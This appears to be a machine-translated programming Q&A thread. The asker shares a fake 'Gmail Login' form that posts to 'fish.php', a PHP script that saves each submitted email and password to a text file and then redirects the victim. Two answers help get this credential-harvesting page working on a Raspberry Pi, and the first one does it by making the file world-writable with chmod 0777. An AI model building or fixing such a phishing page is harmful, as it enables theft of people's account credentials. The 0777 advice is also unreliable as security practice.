我正在尝试使用PHP写入文本文件。
我有这个表格
<form action="fish.php" method="POST">
<p>Gmail Login</p> <input name="gmail1" type="text" />
</br>
<p>Password</p> <input name="gmail2" type="password" />
</br>
<input type="submit" name="submit" value="Submit">
</form>
我也有这个PHP文件
<?php
if(isset($_POST['gmail1']) && isset($_POST['gmail2'])) {
$data = $_POST['gmail1'] . '-' . $_POST['gmail2'] . "\n";
$ret = file_put_contents('list.txt', $data, FILE_APPEND | LOCK_EX);
if($ret === false) {
die('There was an error writing this file');
}
else {
header("Location: index.html");
}
}
else {
die('no post data to process');
}
现在我在网络托管上使用了它,它的工作原理非常好。然后我把它放到运行linux的Rasberry Pi上,用Apache,PHP和所有必需的东西安装在它上面,但我只是继续“编写这个文件时出错”,而不是像我应该那样被重定向到我的主页。
我有所有相同的文件和诸如此类的东西,任何人都可以猜出是什么问题?
谢谢!
答案 0 :(得分:0)
这可能是文件权限问题。
您可以先尝试打开文件(fread
),将/ chmod
设置为0777
,然后再将内容写入其中。
这已在我的服务器上测试并正常运行。
您可能还想将权限从0777
更改为0644
我添加了一个if(isset($_POST['submit']))
条件,以避免过早写入文件。
<?php
if(isset($_POST['submit'])){
if(isset($_POST['gmail1']) && isset($_POST['gmail2'])) {
$data = $_POST['gmail1'] . '-' . $_POST['gmail2'] . "\n";
$file = "list.txt";
fopen($file, "r");
chmod ($file, 0777); // change to 0644 if required
$ret = file_put_contents($file, $data, FILE_APPEND | LOCK_EX);
if($ret === false) {
die('There was an error writing this file');
}
else {
header("Location: index.html");
}
}
else {
die('no post data to process');
}
} // for if(isset($_POST['submit']))
?>
答案 1 :(得分:0)
这是权限错误。如果您的文本文件位于您的Pi上,则只需右键单击它,然后选择“属性”即可。然后,转到&#39;权限&#39;点击,使文件可以读取和写入每个人。 这对我的Pi起了作用:)